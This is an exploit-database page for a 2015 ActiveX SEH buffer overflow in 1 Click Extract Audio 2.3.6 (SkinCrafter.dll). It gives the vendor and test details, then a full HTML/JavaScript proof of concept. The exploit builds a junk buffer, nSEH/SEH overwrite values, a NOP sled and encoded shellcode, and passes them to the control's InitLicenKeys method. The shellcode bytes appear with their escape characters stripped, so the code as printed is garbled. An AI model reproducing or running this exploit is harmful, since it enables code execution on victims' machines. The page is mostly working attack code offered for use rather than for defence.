Home / exploitsPDF  

1 Click Extract Audio 2.3.6 Buffer Overflow

Posted on 07 June 2015

<html>
<br>1 Click Extract Audio Activex Buffer Overflow</br>
<br>Affected version=2.3.6</br>
<br>Vendor Homepage:http://www.dvdvideotool.com/index.htm</br>
<br>Software Link:www.dvdvideotool.com/1ClickExtractAudio.exe</br>
<br>The vulnerability lies in the COM component used by the product SkinCrafter.dll </br>
<br>SkinCrafter.dll version.1.9.2.0</br>
<br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br>
<br>Author: metacom</br>
<!--Video Poc: http://bit.ly/1SYwV3u -->
<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target' ></object>
<script >
junk1 = "";
while(junk1.length < 2048) junk1+="A";
nseh = "xebx06xffxff";
seh = "x58xE4x04x10";
nops= "";
while(nops.length < 50) nops+="x90";
shellcode =(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"+
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"+
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"+
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"+
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"+
"x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47"+
"x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38"+
"x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48"+
"x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c"+
"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"+
"x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58"+
"x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44"+
"x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38"+
"x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33"+
"x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47"+
"x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a"+
"x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b"+
"x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53"+
"x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57"+
"x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39"+
"x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46"+
"x4ex46x43x36x42x50x5a");
junk2 = "";
while(junk2.length < 2048) junk2+="B";
payload = junk1 + nseh + seh + nops+ shellcode + junk2;
arg1=payload;
arg1=arg1;
arg2="defaultV";
arg3="defaultV";
arg4="defaultV";
arg5="defaultV";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 );
</script>
</html>

 

TOP

Malware :

Exploits :